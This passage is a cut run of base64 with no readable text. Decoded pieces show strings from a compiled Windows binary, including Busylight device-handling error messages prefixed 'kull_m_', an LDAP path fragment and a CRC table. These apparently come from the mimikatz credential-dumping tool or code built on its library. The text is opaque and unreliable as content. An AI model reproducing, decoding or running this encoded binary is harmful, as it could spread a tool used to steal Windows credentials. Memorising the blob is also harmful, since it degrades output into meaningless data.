GK0RwV29yUHRIdEQzbkR6RU0rNEU5QXhFekFLVDZkMkhWNlMzTkFQaElXNE1RRVJCcytsRWpPd21YRlFEN05OZGxCRk1jelBrNDdhMVdTcEhJOVE5eEJBd242SUQ3MDJlTUpjSTh1UGtXS0JJdjJHMHMrVnFuNjMxTHVQajY5WmVRQUNXdEZQbVoyZC9XZWtrMCtZT0kzaHFKdVNEN3dvZ3p4cjJWR1BuVHNTSy85RVM4K3g5R2toaHUrVEQ1bGRxaitXN0FsUGgxS0dnckN6a0UrbjV0QUNsL05RVDV3VUNiSVZqWkZQbUFpS0RYWWZqYyswcmxBTUx3WEpEN3k3M2w3NzQ1QVB1bFgzRGx2eDAwK1YvUU1wNU1FVEQ0TXBxWE8xb05LUHJwWHhRMXcxakErQ3Izb0VtekpSRDRWSStPVEdTdzlQa0tDWHhNaHh5SStmWFRhVFQ2YUp6NHJwMEZwbi9qOFBURUk4UUtuU1NFKzIzV0JmRXV0VGo0SzUyUCtNR2xPUGkvdTJiNEc0VUUra2h6eGdpdG9MVDU4cE51SThRYzZQdlp5d1MwMCtVQStKVDVpM2ovdkF6NEFBQUFBQUFBQUFBQUFBQUFBQUFCQUlPQWY0Qi9nL3ovd0Ivd0JmOEQvUHhMNkFhb2NvZjgvSVBpQkgvaUIveisxMjZDc0VHUC9QM0ZDU3A1bFJQOC90UW9qUlBZbC96OElIM3p3d1FmL1B3S09SZmpINmY0L3dPd0Jzd2ZNL2ovckFicDZnSzcrUDJlMzhLc3hrZjQvNUZDWHBScDAvajkwNVFISk9sZitQM01hM0htUk92NC9IaDRlSGg0ZS9qOGU0QUVlNEFIK1A0cUcrT1BXNWYwL3loMmczQUhLL1QvYmdibDJZSzc5UDRwL0hpUHlrdjAvTkN5NFZMWjMvVCt5Y25XQXJGejlQeDNVUVIzVVFmMC9HbHY4b3l3bi9UOTB3RzZQdFF6OVA4YS9SRnh1OHZ3L0M1c0RpVmJZL0Qvbnl3R1diYjc4UDVIaFhnV3pwUHcvUW9yN1dpYUwvRDhjeDNFY3gzSDhQNFpKRGRHVVdQdy84UGpEQVk4Ly9EOGNvQzQ1dFNiOFArREFnUU1IRHZ3L2k0Mkc3b1AxK3ovM0JwU0pLOTM3UDNzK2lHWDl4UHMvMExyQkZQbXMrejhqL3hnckhwWDdQNHN6Mmoxc2Zmcy9CZTYrNCtKbCt6OVBHK2kwZ1U3N1A4NEcyRXBJTi9zLzJZQnNRRFlnK3ora0l0a3hTd243UHlpdm9ieUc4dm8vWHBDVWYramIrajhiY01VYWNNWDZQLzNyaHk4ZHIvby92bU5xWU8rWStqOVo0VEJSNW9MNlAyMGEwS1lCYmZvL1NvcG9CMEZYK2o4YXBFRWFwRUg2UDZBY3hZY3FMUG8vQWt0NitkTVcrajhhb0FFYW9BSDZQOWt6RUpXTzdQay9MV2hyRjUvWCtUOENvZVJPMGNMNVA5b1FWZW9rcnZrL21wbVptWm1aK1QvL3dJNE5MNFg1UDNLNERQamtjUGsvcm5makM3dGMrVC9nNmRiOHNFajVQK1lzbTMvR05Qay9LZUxRU2ZzZytUL1ZrQUVTVHczNVAvb1luSS9CK2ZnL1B6ZnhlbExtK0QvVEdEQ05BZFA0UHpyL1lvRE92L2cvcXZOckQ3bXMrRCtjaVFIMndKbjRQMHF3cS9EbGh2Zy91WkxBdkNkMCtEOFlobUVZaG1INFB4UUdlTUlBVC9nLzNiNnllcGM4K0QrZ3BJSUJTaXI0UHhnWUdCZ1lHUGcvQmhoZ2dBRUcrRDlBZndIOUJmVDNQeDFQV2xFbDR2Yy85QVY5UVYvUTl6OThBUzZTczc3M1A4UHM0QWdpcmZjL2l6bTJhNnFiOXovSXBIaUJUSXIzUHczR21oRUllZmMvc2FrMDVOeG45ejl0ZFFIQ3lsYjNQMFlYWFhUUlJmYy9qZjVCeGZBMDl6Kzgza1ovS0NUM1B3bDhuRzE0RS9jL2NJRUxYT0FDOXo4WFlQSVdZUEwyUDhjM1EydjM0ZlkvWWNpQkpxYlI5ajhYYk1FV2JNSDJQejBhb3dwSnNmWS9rSEpUMFR5aDlqL0EwSWc2UjVIMlB4ZG9nUlpvZ2ZZL0dtY0JOcDl4OWovNUlsRnE3R0gyUDZOS080VlBVdlkvWkNFTFdjaEM5ai9ld0lxNFZqUDJQMEJpQVhmNkkvWS9sSzR4YUxNVTlqOEdGbGhnZ1FYMlAvd3RLVFJrOXZVLzV4WFF1RnZuOVQrbDR1ekRaOWoxUDFjUWt5dUl5ZlUva2ZwSHhyeTY5VC9BV2dGckJhejFQNnJNSS9GaG5mVS83VmlCTU5LTzlUOWdCVmdCVm9EMVB6cHJVRHp0Y2ZVLzRsSjh1cGRqOVQ5VlZWVlZWVlgxUC82Q3UrWWxSL1UvNncvMFNBazU5VDlMQmFoVy95cjFQeFg0NHVvSEhmVS94Y1FSNFNJUDlUOFZVQUVWVUFIMVA1dE0zV0tQOC9RL09RVXZwK0RsOUQ5TUxOeStROWowUDI2dkpZZTR5dlEvNFkrbTNUNjk5RDlidjFLZzFxLzBQMG9CZHExL292US9aOUN5NHptVjlEK0FTQUVpQllqMFAzc1Vya2ZoZXZRL1ptQlpOTTV0OUQrYXovWEh5MkQwUDhwMngrTFpVL1EvKzlsaVpmaEc5RDlON3Fzd0p6cjBQNGNmMVNWbUxmUS9VVmxlSnJVZzlEOFVGQlFVRkJUMFAyWmxEdEdDQi9RLyt4T3dQd0g3OHo4SHI2VkNqKzd6UHdLcDVMd3M0dk0veG5XcWtkblY4ei9ucTN1a2xjbnpQMVVwSTlsZ3ZmTS9GRHV4RXp1eDh6OGl5SG80SktYelAyTi9HQ3djbWZNL2pnaG0weUtOOHo4VU9JRVRPSUh6UCs1RnlkRmJkZk0vU0FmZTg0MXA4ei80S3A5ZnpsM3pQOEY0Sy9zY1V2TS9SaFBnckhsRzh6K3l2RmRiNURyelAvb2RhdTFjTC9NL3Z4QXJTdU1qOHorMjYrbFlkeGp6UDVEUk1BRVpEZk0vWUFMRUtzZ0I4ejlvTDZHOWhQYnlQMHZSL3FGTzYvSS9sNEJMd0NYZzhqK2dVQzBCQ3RYeVA2QXNnVTM3eWZJL0VUZGFqdm0rOGo5QUt3R3RCTFR5UHdYQjg1SWNxZkkvbmhMa0tVR2U4aitsQkxoYmNwUHlQeE93aUJLd2lQSS9UYzZoT1BwOThqODFKNEc0VUhQeVB5Y0Ixbnl6YVBJLzhaS0FjQ0plOGoreWQ1RituVlB5UDVJa1NaSWtTZkkvVzJBWGw3Yys4ai9mdkpwNFZqVHlQeW9Tb0NJQkt2SS9lUHNoZ2JjZjhqL21WVWlBZVJYeVA5bkFad3hIQy9JL0VpQUJFaUFCOGo5d0g4RjlCUGZ4UDB5NGZ6ejA3UEUvZExnL08rL2k4VCs5U2k1bjlkanhQeDJCb3EwR3ovRS9XZUFjL0NMRjhUOHA3VVpBU3J2eFArTzY4bWQ4c2ZFL2xuc2FZYm1uOFQrZUVlQVpBWjd4UDV5aWpJQlRsUEUvMnl1UWc3Q0s4VDhTR0lFUkdJSHhQNFRXR3htS2QvRS9lWE5DaVFadThUOEJNdnhRaldUeFB3MG5kVjhlVy9FL3lkWDlvN2xSOFQ4N3pRb09YMGp4UHlSSE5JME9QL0UvRWNnMUVjZzE4VCtzd08ySml5enhQek13WGVkWUkvRS9Ka2luR1RBYThUOFJFUkVSRVJIeFA0QVFBYjc3Qi9FL0VmRCtFUEQrOEQraUpiUDY3Zlh3UDVDYzVtdjE3UEEvRVdDQ1ZRYms4RCtXUm8rb0lOdndQenFlTlZaRTB2QS9POXE4VDNISjhEOXhRWXVHcDhEd1A4aWRKZXptdC9BL3Rld3VjaSt2OEQrbkVHZ0tnYWJ3UDJDRHI2YmJuZkEvVkFrQk9UK1Y4RC9pWlhXenE0endQNFFRUWdnaGhQQS80dXE0S1o5NzhEL0c5MGNLSm5Qd1Avc1NlWnkxYXZBLy9LbngwazFpOEQrR2RYS2c3bG53UHdRMDEvZVhVZkEveFdRV3pFbEo4RDhRQkVFUUJFSHdQL3hIZ3JmR09QQS9HbDRmdFpFdzhEL3BLWGY4WkNqd1B3Z0VBb0ZBSVBBL04zcFJOaVFZOEQ4UUVCQVFFQkR3UDRBQUFRSUVDUEEvQUFBQUFBQUE4RDhBQUFBQUFBQUFBR3h2WnpFd0FBQUFFTE1IZ0FFQUFBQ3dzd2VBQVFBQUFDVXdOR2gxSlRBeWFIVWxNREpvZFNVd01taDFKVEF5YUhVbE1ESm9kVm9BQUFBQUFBQUFBQUJDQUhVQWN3QjVBR3dBYVFCbkFHZ0FkQUFnQUV3QWVRQnVBR01BSUFCdEFHOEFaQUJsQUd3QUlBQW9BSGNBYVFCMEFHZ0FJQUJpQUc4QWJ3QjBBR3dBYndCaEFHUUFaUUJ5QUNrQUFBQUFBRUlBZFFCekFIa0FiQUJwQUdjQWFBQjBBQ0FBVlFCREFDQUFiUUJ2QUdRQVpRQnNBQUFBQUFCckFIVUFZUUJ1QUdRQWJ3QkNBRThBV0FBQUFBQUFBQUJDQUhVQWN3QjVBR3dBYVFCbkFHZ0FkQUFnQUU4QWJRQmxBR2NBWVFBZ0FHMEFid0JrQUdVQWJBQUFBQUFBQUFCQ0FIVUFjd0I1QUd3QWFRQm5BR2dBZEFBZ0FFd0FlUUJ1QUdNQUlBQnRBRzhBWkFCbEFHd0FJQUFvQUUwQWFRQmpBSElBYndCakFHZ0FhUUJ3QUNBQVNRQmtBQ2tBQUFCR0FIVUFhZ0JwQUhRQWN3QjFBQ0FBVFFCTkFFMEFNZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHd0FiQUJmQUcwQVh3QmlBSFVBY3dCNUFHd0FhUUJuQUdnQWRBQmZBR1FBWlFCMkFHa0FZd0JsQUhNQVh3Qm5BR1VBZEFBZ0FEc0FJQUJJQUdrQVpBQlFBRjhBUndCbEFIUUFRd0JoQUhBQWN3QWdBQ2dBSlFBd0FEZ0FlQUFwQUFvQUFBQUFBQUFBQUFBQUFBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFiQUJzQUY4QWJRQmZBR0lBZFFCekFIa0FiQUJwQUdjQWFBQjBBRjhBWkFCbEFIWUFhUUJqQUdVQWN3QmZBR2NBWlFCMEFDQUFPd0FnQUVNQWNnQmxBR0VBZEFCbEFGUUFhQUJ5QUdVQVlRQmtBQ0FBS0FCb0FFc0FaUUJsQUhBQVFRQnNBR2tBZGdCbEFGUUFhQUJ5QUdVQVlRQmtBQ2tBSUFBb0FEQUFlQUFsQURBQU9BQjRBQ2tBQ2dBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHd0FiQUJmQUcwQVh3QmlBSFVBY3dCNUFHd0FhUUJuQUdnQWRBQmZBR1FBWlFCMkFHa0FZd0JsQUhNQVh3Qm5BR1VBZEFBZ0FEc0FJQUJEQUhJQVpRQmhBSFFBWlFCR0FHa0FiQUJsQUNBQUtBQm9BRUlBZFFCekFIa0FLUUFnQUNnQU1BQjRBQ1VBTUFBNEFIZ0FLUUFLQUFBQUFBQUFBQUFBQUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHd0FiQUJmQUcwQVh3QmlBSFVBY3dCNUFHd0FhUUJuQUdnQWRBQmZBR1FBWlFCMkFHa0FZd0JsQUhNQVh3Qm5BR1VBZEFBZ0FEc0FJQUJEQUhJQVpRQmhBSFFBWlFCR0FHa0FiQUJsQUNBQUtBQmtBR1VBZGdCcEFHTUFaUUJJQUdFQWJnQmtBR3dBWlFBcEFDQUFLQUF3QUhnQUpRQXdBRGdBZUFBcEFBb0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCc0FHd0FYd0J0QUY4QVlnQjFBSE1BZVFCc0FHa0Fad0JvQUhRQVh3QmtBR1VBZGdCcEFHTUFaUUJ6QUY4QVp3QmxBSFFBSUFBN0FDQUFVd0JsQUhRQWRRQndBRVFBYVFCSEFHVUFkQUJEQUd3QVlRQnpBSE1BUkFCbEFIWUFjd0FnQUNnQU1BQjRBQ1VBTUFBNEFIZ0FLUUFLQUFBQUFBQUFBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCc0FHd0FYd0J0QUY4QVlnQjFBSE1BZVFCc0FHa0Fad0JvQUhRQVh3QmtBR1VBZGdCcEFHTUFaUUJmQUhNQVpRQnVBR1FBWHdCeUFHRUFkd0FnQURzQUlBQmJBR1FBWlFCMkFHa0FZd0JsQUNBQUpRQjFBRjBBSUFCWEFISUFhUUIwQUdVQVJnQnBBR3dBWlFBZ0FDZ0FNQUI0QUNVQU1BQTRBSGdBS1FBS0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYkFCc0FGOEFiUUJmQUdJQWRRQnpBSGtBYkFCcEFHY0FhQUIwQUY4QVpBQmxBSFlBYVFCakFHVUFYd0J6QUdVQWJnQmtBRjhBY2dCaEFIY0FJQUE3QUNBQVd3QmtBR1VBZGdCcEFHTUFaUUFnQUNVQWRRQmRBQ0FBVXdCcEFIb0FaUUFnQUdrQWN3QWdBRzRBYndCMEFDQUFkZ0JoQUd3QWFRQmtBR1VBSUFBb0FITUFhUUI2QUNBQVBRQWdBQ1VBZFFBc0FDQUFiUUJoQUhnQUlBQTlBQ0FBSlFCMUFDa0FDZ0FBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWJBQnNBRjhBYlFCZkFHSUFkUUJ6QUhrQWJBQnBBR2NBYUFCMEFGOEFaQUJsQUhZQWFRQmpBR1VBWHdCekFHVUFiZ0JrQUY4QWNnQmhBSGNBSUFBN0FDQUFXd0JrQUdVQWRnQnBBR01BWlFBZ0FDVUFkUUJkQUNBQVNRQnVBSFlBWVFCc0FHa0FaQUFnQUVRQVpRQjJBR2tBWXdCbEFDOEFRZ0IxQUhNQWVRQWdBRWdBWVFCdUFHUUFiQUJsQUFvQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJzQUd3QVh3QnRBRjhBWWdCMUFITUFlUUJzQUdrQVp3Qm9BSFFBWHdCa0FHVUFkZ0JwQUdNQVpRQmZBSElBWlFCaEFHUUFYd0J5QUdFQWR3QWdBRHNBSUFCYkFHUUFaUUIyQUdrQVl3QmxBQ0FBSlFCMUFGMEFJQUJTQUdVQVlRQmtBRVlBYVFCc0FHVUFJQUFvQURBQWVBQWxBREFBT0FCNEFDa0FDZ0FBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJzQUd3QVh3QnRBRjhBWWdCMUFITUFlUUJzQUdrQVp3Qm9BSFFBWHdCa0FHVUFkZ0JwQUdNQVpRQmZBSElBWlFCaEFHUUFYd0J5QUdFQWR3QWdBRHNBSUFCYkFHUUFaUUIyQUdrQVl3QmxBQ0FBSlFCMUFGMEFJQUFsQUhVQUlBQmlBSGtBZEFCbEFDZ0Fjd0FwQUNBQWNnQmxBR0VBWkFCbEFHUUFMQUFnQUNVQWRRQWdBSGNBWVFCdUFIUUFaUUJrQUFvQUFBQUFBQUFBQUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHd0FiQUJmQUcwQVh3QmlBSFVBY3dCNUFHd0FhUUJuQUdnQWRBQmZBR1FBWlFCMkFHa0FZd0JsQUY4QWNnQmxBR0VBWkFCZkFISUFZUUIzQUNBQU93QWdBRnNBWkFCbEFIWUFhUUJqQUdVQUlBQWxBSFVBWFFBZ0FFa0FiZ0IyQUdFQWJBQnBBR1FBSUFCRUFHVUFkZ0JwQUdNQVpRQXZBRUlBZFFCekFIa0FJQUJJQUdFQWJnQmtBR3dBWlFBS0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYkFCc0FGOEFiUUJmQUdJQWRRQnpBSGtBYkFCcEFHY0FhQUIwQUY4QVpBQmxBSFlBYVFCakFHVUFYd0J5QUdVQVlRQmtBRjhBYVFCdUFHWUFid0J6QUNBQU93QWdBRnNBWkFCbEFIWUFhUUJqQUdVQUlBQWxBSFVBWFFBZ0FHUUFZUUIwQUdFQVd3QXdBRjBBSUFCcEFITUFJQUJ1QUc4QWRBQWdBRTRBVlFCTUFFd0FJQUFvQURBQWVBQWxBREFBTWdCNEFDa0FDZ0FBQUFBQUFBQUFBTHNueWpzT0FBQUFzTGdFZ0FFQUFBQzdKOHM3QmdBQUFBQzVCSUFCQUFBQXV5Zk1Pd0VBQUFBb3VRU0FBUUFBQUxzbnpUc09BQUFBUUxrRWdBRUFBQURZQkVqNEJnQUFBSEM1QklBQkFBQUErQXNnRUFJQUFBQzR1UVNBQVFBQUFBQmtaQVZ3UVFBQVJnY0NBUUFBQUFDd1NBV0FBUUFBQUpnZUJZQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBT2lUQllBQkFBQUFBWUFBQUFBQUFBQUFsQVdBQVFBQUFBS0FBQUFBQUFBQUdKUUZnQUVBQUFBRGdBQUFBQUFBQURDVUJZQUJBQUFBQklBQUFBQUFBQUJJbEFXQUFRQUFBQVdBQUFBQUFBQUFZSlFGZ0FFQUFBQUFKQUFBQUFBQUFJQ1VCWUFCQUFBQUFDSUFBQUFBQUFDZ2xBV0FBUUFBQUFBZ0FBQUFBQUFBd0pRRmdBRUFBQUFBcEFBQUFBQUFBT0NVQllBQkFBQUFBV1lBQUFBQUFBRDRsQVdBQVFBQUFBbG1BQUFBQUFBQUdKVUZnQUVBQUFBRFpnQUFBQUFBQURDVkJZQUJBQUFBQkdZQUFBQUFBQUJJbFFXQUFRQUFBQUptQUFBQUFBQUFZSlVGZ0FFQUFBQUJhQUFBQUFBQUFIaVZCWUFCQUFBQUFtZ0FBQUFBQUFDUWxRV0FBUUFBQUFHcUFBQUFBQUFBcUpVRmdBRUFBQUFDcWdBQUFBQUFBTWlWQllBQkFBQUFBNm9BQUFBQUFBRHdsUVdBQVFBQUFBU3FBQUFBQUFBQUVKWUZnQUVBQUFBRG9BQUFBQUFBQURDV0JZQUJBQUFBQ21ZQUFBQUFBQUJRbGdXQUFRQUFBQXRtQUFBQUFBQUFhSllGZ0FFQUFBQU1aZ0FBQUFBQUFJaVdCWUFCQUFBQUNJQUFBQUFBQUFDd2xnV0FBUUFBQUFGTUFBQUFBQUFBMkpZRmdBRUFBQUFDVEFBQUFBQUFBQkNYQllBQkFBQUFBMHdBQUFBQUFBQkFsd1dBQVFBQUFBZE1BQUFBQUFBQWNKY0ZnQUVBQUFBRVRBQUFBQUFBQUppWEJZQUJBQUFBQlV3QUFBQUFBQURBbHdXQUFRQUFBQVpNQUFBQUFBQUE2SmNGZ0FFQUFBQU5aZ0FBQUFBQUFBQ1lCWUFCQUFBQUNZQUFBQUFBQUFBWW1BV0FBUUFBQUFxQUFBQUFBQUFBT0pnRmdBRUFBQUFMZ0FBQUFBQUFBR2lZQllBQkFBQUFEbVlBQUFBQUFBQ0ltQVdBQVFBQUFBOW1BQUFBQUFBQXFKZ0ZnQUVBQUFBUVpnQUFBQUFBQU1pWUJZQUJBQUFBRVdZQUFBQUFBQURnbUFXQUFRQUFBQXlBQUFBQUFBQUFBSmtGZ0FFQUFBQU5nQUFBQUFBQUFDQ1pCWUFCQUFBQURvQUFBQUFBQUFCQW1RV0FBUUFBQUFXcUFBQUFBQUFBV0prRmdBRUFBQUFCb0FBQUFBQUFBSENaQllBQkFBQUFBeUlBQUFBQUFBQklpQVdBQVFBQUFBQUFBUUFBQUFBQWtJZ0ZnQUVBQUFBQUFBY0FBQUFBQVBDSUJZQUJBQUFBQUFBQ0FBQUFBQUF3aVFXQUFRQUFBQUFBQ0FBQUFBQUFrSWtGZ0FFQUFBQUFBQWtBQUFBQUFQQ0pCWUFCQUFBQUFBQUVBQUFBQUFBNGlnV0FBUUFBQUFBQUJnQUFBQUFBYUlvRmdBRUFBQUFBQUFVQUFBQUFBQUFBQUFDV01BZDNMR0VPN3JwUkNaa1p4RzBIai9ScWNEV2xZK21qbFdTZU1vamJEcVM0M0hrZTZkWGdpTm5TbHl0TXRnbTlmTEYrQnkyNDU1RWR2NUJrRUxjZDhpQ3dha2h4dWZQZVFiNkVmZFRhR3V2azNXMVJ0ZFQweDRYVGcxYVliQlBBcUd0a2V2bGkvZXpKWllwUFhBRVUyV3dHWTJNOUQvcjFEUWlOeUNCdU8xNFFhVXprUVdEVmNuRm5vdEhrQXp4SDFBUkwvWVVOMG11MUNxWDZxTFUxYkppeVF0Ykp1OXRBK2J5czQyellNblZjMzBYUERkYmNXVDNScTZ3dzJTWTZBTjVSZ0ZIWHlCWmgwTCsxOUxRaEk4U3pWcG1WdXM4UHBiMjRucmdDS0FpSUJWK3kyUXpHSk9rTHNZZDhieThSVEdoWXF4MWh3VDB0WnJhUVFkeDJCbkhiQWJ3ZzBwZ3FFTlh2aVlXeGNSKzF0Z2FsNUwrZk05UzQ2S0xKQjNnMCtRQVBqcWdKbGhpWUR1RzdEV3AvTFQxdENKZHNaSkVCWEdQbTlGRnJhMkpoYkJ6WU1HV0ZUZ0JpOHUyVkJteDdwUUVid2ZRSWdsZkVEL1hHMmJCbFVPbTNFdXE0dm90OGlMbjgzeDNkWWtrdDJoWHpmTk9NWlV6VSsxaGhzazNPVWJVNmRBQzhvK0l3dTlSQnBkOUsxNVhZUFczRTBhVDc5TmJUYXVscFEvelpialJHaUdldDBMaGcybk10QkVUbEhRTXpYMHdLcXNsOERkMDhjUVZRcWtFQ0p4QVFDNzZHSUF6SkpiVm9WN09GYnlBSjFHYTVuK1Joemc3NTNsNll5ZGtwSXBqUXNMU28xOGNYUGJOWmdRMjBManRjdmJldGJMckFJSU80N2JhenY1b000cllEbXRLeGREbEgxZXF2ZDlLZEZTYmJCSU1XM0hNU0MyUGpoRHRrbEQ1cWJRMm9XbXA2Qzg4TzVKMy9DWk1ucmdBS3NaNEhmVVNURC9EU293aUhhUElCSHY3Q0JtbGRWMkwzeTJkbGdIRTJiQm5uQm10dWRodlUvdUFyMDRsYWV0b1F6RXJkWjIvZnVmbjU3NzZPUTc2M0Y5V09zR0RvbzliV2ZwUFJvY1RDMkRoUzh0OVA4V2U3MFdkWHZLYmRCclUvU3pheVNOb3JEZGhNR3dxdjlrb0RObUI2QkVIRDcyRGZWZDlucU8rT2JqRjV2bWxHakxOaHl4cURacnlnMG04bE51Sm9VcFYzRE13RFJ3dTd1UllDSWk4bUJWVytPN3JGS0F1OXNwSmF0Q3NFYXJOY3AvL1h3akhQMExXTG50a3NIYTdlVzdEQ1pKc204bVBzbktOcWRRcVRiUUtwQmdtY1B6WU82NFZuQjNJVFZ3QUZna3EvbFJSNnVPS3VLN0Y3T0J1MkRKdU8wcElOdnRYbHQrL2NmQ0hmMnd2VTB0T0dRdUxVOGZpejNXaHVnOW9melJhK2dWc211ZmJoZDdCdmQwZTNHT1phQ0lod2FnLy95anNHWmx3TEFSSC9ubVdQYWE1aStOUC9hMkZGejJ3V2VPSUtvTzdTRGRkVWd3Uk93ck1ET1dFbVo2ZjNGbURRVFVkcFNkdDNiajVLYXRHdTNGclcyV1lMMzBEd085ZzNVNjY4cWNXZXU5NS96N0pINmYrMU1Cenl2YjJLd3JyS01KT3pVNmFqdENRRk50QzZrd2JYelNsWDNsUy9aOWtqTG5wbXM3aEtZY1FDRzJoZGxDdHZLamUrQzdTaGpnekRHOThGV28zdkFpMkFrUVdBQVFBQUFBRUFBQUFBQUFBQW9KRUZnQUVBQUFBQ0FBQUFBQUFBQU1DUkJZQUJBQUFBQXdBQUFBQUFBQURZa1FXQUFRQUFBQVFBQUFBQUFBQUErSkVGZ0FFQUFBQUZBQUFBQUFBQUFDQ1NCWUFCQUFBQUJnQUFBQUFBQUFBNGtnV0FBUUFBQUF3QUFBQUFBQUFBWUpJRmdBRUFBQUFOQUFBQUFBQUFBSGlTQllBQkFBQUFEZ0FBQUFBQUFBQ2drZ1dBQVFBQUFBOEFBQUFBQUFBQXlKSUZnQUVBQUFBUUFBQUFBQUFBQVBDU0JZQUJBQUFBRVFBQUFBQUFBQUFZa3dXQUFRQUFBQklBQUFBQUFBQUFRSk1GZ0FFQUFBQVVBQUFBQUFBQUFHaVRCWUFCQUFBQUZRQUFBQUFBQUFDQWt3V0FBUUFBQUJZQUFBQUFBQUFBb0pNRmdBRUFBQUFYQUFBQUFBQUFBTWlUQllBQkFBQUFHQUFBQUFBQUFBQ2dpZ1dBQVFBQUFNQ0tCWUFCQUFBQUdJc0ZnQUVBQUFCQWl3V0FBUUFBQUtDTEJZQUJBQUFBd0lzRmdBRUFBQUFRakFXQUFRQUFBRUNNQllBQkFBQUFvSXdGZ0FFQUFBRGdqQVdBQVFBQUFFQ05CWUFCQUFBQVlJMEZnQUVBQUFDNGpRV0FBUUFBQU9DTkJZQUJBQUFBWUk0RmdBRUFBQUNRamdXQUFRQUFBQmlQQllBQkFBQUFVSThGZ0FFQUFBQ3dqd1dBQVFBQUFOQ1BCWUFCQUFBQUtKQUZnQUVBQUFCZ2tBV0FBUUFBQU9pUUJZQUJBQUFBRUpFRmdBRUFBQUN3c0FXQUFRQUFBTkN3QllBQkFBQUE2TEFGZ0FFQUFBQUFzUVdBQVFBQUFCQ3hCWUFCQUFBQXBBVUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBUUxFRmdBRUFBQUJnc1FXQUFRQUFBSEN4QllBQkFBQUFrTEVGZ0FFQUFBQ29zUVdBQVFBQUFMaXhCWUFCQUFBQTBMRUZnQUVBQUFENHNRV0FBUUFBQUZ3QUx3QTZBQ29BUHdBaUFEd0FQZ0I4QUJFUWNFRUFBR3dBWkFCaEFIQUFMd0FBQUhCQkFBQXdCd0FBTUFBQUFFRFBCWUFCQUFBQVdNOEZnQUVBQUFCNHp3V0FBUUFBQUpqUEJZQUJBQUFBd004RmdBRUFBQURvendXQUFRQUFBQkRRQllBQkFBQUFVTkFGZ0FFQUFBQlJCd0FHRUFBQUFBQVdCWUFCQUFBQUFBQUFBQUFBQUFBQUJ3QUFCQUFBQUFFQUFBQUFBQUFBb1BzRWdBRUFBQUFBQUFBQUFBQUFBQUlBQUFBQUFBQUE4RDRGZ0FFQUFBQUFBQUFBQUFBQUFBTUFBQUFBQUFBQUVGY0ZnQUVBQUFBQUFBQUFBQUFBQVAvLy8vLy8vLy8vWU80RWdBRUFBQUFBQUFBQUFBQUFBUC8vLy84QUFBQUFSZ2NDQVFBQUFBQWdFd1dBQVFBQUFPQWpCWUFCQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBM0JZQUJBQUFBN0tnQWdBRUFBQUFrcVFDQUFRQUFBTGk0QjRBQkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBeTBBU0FBUUFBQUFFQUFBQUFBQVlBQUFBQUFBQUFBQUJUQWdBSUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRUFBQUlBQUFBQUFBQUFBQUFBQUFEQUFRV0FBUUFBQUFBQUFBQUFBQUFBUVFBQUFBRUFBQURRVXdXQUFRQUFBQUVBQUFBQUFBQUEwOHNFZ0FFQUFBQUJBQUFBQXdZQUFCZ0FBQUJ3UVFBQUlRQUFBQUFBQUFEQS9RU0FBUUFBQUNFQUFBQUFBQUFBUU00RWdBRUFBQUNrQlFBQUFBQUFBQUFBQUFBQUFBQUFFQ2NBQUFBQUFBQkFBQ3dCSUFBQUFDd0FBQUFJQUFBQUFBQUFBQVFBQ0FCd1FBQUFBQUFBQUxoTkJZQUJBQUFBQ0FBQUFBQUFBQURUd1FTQUFRQUFBTWdBQUFBSUFBQUE0RE1GZ0FFQUFBQUxBUUFBRUFBQUFOUEJCSUFCQUFBQThBQUFBQmdBQUFCQkFBQUFBUUFBQUNCQ0JZQUJBQUFBQVFBQUFBQUFBQURUeXdTQUFRQUFBRUVCQUFBQ0FBQUE0Q01GZ0FFQUFBQUNBQUFBQUFBQUFOTExCSUFCQUFBQUFRQUFBQU1HQUFBVUFBQUFjRUVBQURVSEF3QW9BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ0R5QklBQkFBQUFrUUFBQUFBQUFBQ1FQUVdBQVFBQUFKRUFBQUFBQUFBQUdFQUZnQUVBQUFDUUFBUUFBQUFBQUJRQUFBQUFBQUFBa3dBQUFBQUFBQUJHQndJQkFBQUFBQ0FUQllBQkFBQUE0Q01GZ0FFQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1RY0JBR2dBQUFDQUFBQUFBQUFBQUFBQUFBQUFBQUFBSVFBQUFBQUFBQUQwQkFXQUFRQUFBSUFBQUFBQUFBQUFDQUFBQUFBQUFBQWhBQUFBQUFBQUFQUUVCWUFCQUFBQWdBQUFBQUFBQUFBWUFBQUFBQUFBQUNNQUFBQUFBQUFBR08wRWdBRUFBQUNBQUFBQUFBQUFBR0FBQUFBQUFBQUFJUUFBQUFBQUFBRDBCQVdBQVFBQUFKTUFBQUFBQUFBQVFRTUFBQkFBQUFBdzlRU0FBUUFBQUJBQUFBQUFBQUFBU1BZRWdBRUFBQUJSQndBR0tBQUFBR2d5QllBQkFBQUFBQUFBQUFBQUFBQUFCd0FBQVFBQUFBRUFBQUFBQUFBQUlFb0ZnQUVBQUFBQUFBQUFBQUFBQVAvLy8vOEFBQUFBUmdjQ0FRQUFBQUJnTGdXQUFRQUFBREQxQklBQkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFIQkJBQUJ3UVFBQUFBQUFBQklBQ0FBZEFBZ0FBVnNWQXhBQUNBW